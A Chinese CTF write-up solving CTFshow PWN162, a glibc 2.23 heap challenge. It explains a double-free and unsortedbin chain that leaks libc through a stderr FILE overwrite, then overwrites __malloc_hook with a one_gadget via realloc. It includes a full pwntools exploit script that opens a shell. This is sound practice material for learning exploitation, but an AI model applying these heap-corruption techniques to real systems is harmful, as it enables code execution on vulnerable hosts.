此文章参考了:

CTFshow PWN162 堆利用技巧大杂烩_ctfshow-pwn-162-CSDN博客

好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客

使用realloc函数来调整栈帧让one_gadget生效 - ZikH26 - 博客园

感谢师傅的讲解

本文章只描述了本地是操作是如何打通程序的,远程需要爆破出I0_2_1_stderr_ 的第四位 1/16 概率

本题使用了double_free,unsortedbin_attack 、_IO_2_1_stdout、house of spirit,UAF

经典的增删改查

add 后会有一个固定的 0x28 大小的 chunk,和一个自行输入 size 大小的 chunk,size 被限制大小,add 的 chunk 数量也被限制为 0x13,并且 s->data 为 inuse

此时的堆结构

show 是假函数,无法 show

delete 函数中,if 检测 chunk_s+v1 实际上并不是inuse 的值,所以这边是一个假判断

edit 函数也是假的

目前我们只有 add 函数和 delete 函数是正常的,所以我们只能使用增加和删除进行 exp 编写

首先程序是本地我使用的是 2.23-0ubuntu3_amd64,并不是本地远程,并且程序开启了 pie 保护

1
2
$  sudo sysctl -w kernel.randomize_va_space=0
#将pie关闭

首先第一步我们需要将 chunk 放入unsortedbin 中,使其 fb 指针指向 main_arena+0x58,这边的值也是 libcbase+main_arena 基值+0x58,所以我们可以通过覆盖掉后四位使其到达 IO_2_1_stderr 中(后三位 0x5dd 是确定的,我们通过尝试得到第四位是 0x45dd),

首先先申请 5 个堆块

#0 将堆块的地址网上抬使其后续更好操作,并且后续还会用到

#1、2 进行 double free

#3 申请释放后会进入unsortedbin 中使其 fd 为 main_arena+0x58

#4 进行于 top chunk 隔离避免被融合

后续我们申请一个 size 为 0x68 大小的 chunk,此时我们的#0 chunk 就派上用场了,再进行 add 操作中程序会先申请一个 0x28 大小的 chunk(实际为 0x30),此时就会优先将 fastbin 中的 0x30 申请出去(原先#0 chunk 被 free 后存入),就不会和我们抢 #3 unsortedbin 中的

此时被申请出来后我们修改低四位为 0x45dd

切割后:

这边原本是 fd 和 bk,现在 fd 被进行了修改

成功将 fd 指向 stderr

后续我们进行 double free,将 chunk5 的地址改到 chunk1 中

71 行申请的 add 将 chunk 的 fd 末尾改为 0xd0 为 chunk5 的地址,这样可以成功的将 chunk5 挂入 fastbin 的链表中

再将前面的 chunk 申请出来即可申请出以0x7ffff7bc45dd (IO_2_1_stderr+157)为地址的 chunk

我们再来看一下stderr 中的结构

此处是 flag 的地址,我们需要修改为0xfbad1800 即可绕过 IO 的检查机制使其输出_IO_2_1_stderr 其中的内容,借此我们就可以进行计算 libc 的基地址,打 mallco-hook one_gadget

具体为什么修改为0xfbad1800 可以看,好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc_libc泄露方式-CSDN博客,师傅讲的很详细

输出的为_IO_2_1_stderr_+192 的地址我们减去_IO_2_1_stderr_ 和 192 即可获取到基地址

后续再进行一次 double free 将fake_chunk 挂在进链表即可再使用realloc_hook 调整使 one_gadget 可执行,可以参考以下文章

使用realloc函数来调整栈帧让one_gadget生效 - ZikH26 - 博客园

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import * #引用pwntools库
from ctypes import *
from LibcSearcher import *

misaki=1
if misaki:
context(log_level='debug',arch='amd64',os='linux')
else:
context(log_level='debug',arch='i386',os='linux')

ming=0
if ming:
p=remote('pwn.challenge.ctf.show',28202)#pwn.challenge.ctf.show 28202
else:
p=process("./pwn")#配置本地连接:


s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
def m(): gdb.attach(p)


gadget = [0x4525a,0xef9f4,0xf0897]

def cmd(x):
rl(b'Your choice : ')
sl(str(x))
def add(size,data):
cmd(1)
rl(b'name: ')
sl(str(size))
rl(b'name:')
s(data)
rl(b'message:')
sl(b'xxxx')
def delete(index):
cmd(3)
rl(b'index:')
sl(str(index))


libc = ELF("./libc-2.23.so")
offset = b'\xDD\x45'
e=ELF("./pwn")
##############################################################################################

add(0x20,b'aaaa')#0 抬堆地址
add(0x68,b'aaaa')#1 double free
add(0x68,b'aaaa')#2 double free
add(0x7f,b'aaaa')#3 切割
add(0x18,b'aaaa')#4 隔离TOP chunk
delete(0)
delete(3)

offset = b'\xDD\x45'
add(0x68,offset)# 5 这是由chunk3 切割来的,此时的fd指针是指向main_arena+0x58处的

delete(1)
delete(2)
delete(1)

add(0x68,b'\xd0')#6

add(0x68,b'aaaa')#7
add(0x68,b'aaaa')#8
add(0x68,b'aaaa')#9

cmd(1)
rl(b'name: ')
sl(str(0x68))
rl(b'name:')
s(b'A'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')


libc_base = u64(rl(b"\x7f")[-6:].ljust(8,b"\x00"))
print(f'_IO_2_1_stderr_=',hex(libc_base))

libc_base = libc_base-libc.sym['_IO_2_1_stderr_'] - 192
print(f'libc_base=',hex(libc_base))
rl(b'message:')
sl(b'1')


malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[0]


delete(1)
delete(2)
delete(1)
add(0x68,p64(fake_chunk))#6
add(0x68,b'aaaa')#7
add(0x68,b'aaaa')#8

cmd(1)
rl(b'name: ')
sl(str(0x68))
rl(b'name:')
s(b'a'*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8))
rl(b'message:')
sl(b'1')

cmd(1)
p.interactive()#与程序交互